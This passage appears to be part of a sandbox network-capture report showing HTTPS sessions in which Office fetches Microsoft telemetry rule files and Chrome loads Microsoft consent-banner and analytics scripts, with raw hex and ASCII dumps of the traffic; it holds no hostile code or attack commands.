2024-12-01 02:33:14 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-01 02:33:14 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-01 02:33:14 UTC	712	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent
2024-12-01 02:33:14 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 46643e3e-501e-00a3-5ca9-42c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023313Z-174f7845968kdththC1EWRzvxn0000000ek000000000h9ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:14 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 861c96d2-d01e-002b-72ec-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023314Z-174f7845968jrjrxhC1EWRmmrs00000012k0000000000e9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:14 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 8a8d0990-701e-0021-2191-3f3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023314Z-174f7845968kdththC1EWRzvxn0000000emg00000000cpvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:15 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0ad7255b-c01e-00ad-65a2-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023315Z-174f7845968zgtf6hC1EWRqd8s0000000vb0000000002nzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49852	13.107.246.63	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:15 UTC	633	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-12-01 02:33:15 UTC	807	IN	HTTP/1.1 304 Not Modified Date: Sun, 01 Dec 2024 02:33:15 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241201T023315Z-174f7845968kdththC1EWRzvxn0000000ekg00000000fanh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:15 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 17f40f6b-801e-00a3-7e91-3f7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023315Z-174f7845968xr5c2hC1EWRd0hn0000000m2g00000000fqqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:15 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 31216168-001e-000b-5343-4015a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023316Z-174f7845968frfdmhC1EWRxxbw00000012bg00000000a6ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49855	13.107.246.63	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:15 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-01 02:33:16 UTC	896	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:16 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241201T023316Z-174f7845968glpgnhC1EWR7uec00000012e000000000bugx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-12-01 02:33:16 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-01 02:33:16 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-12-01 02:33:16 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
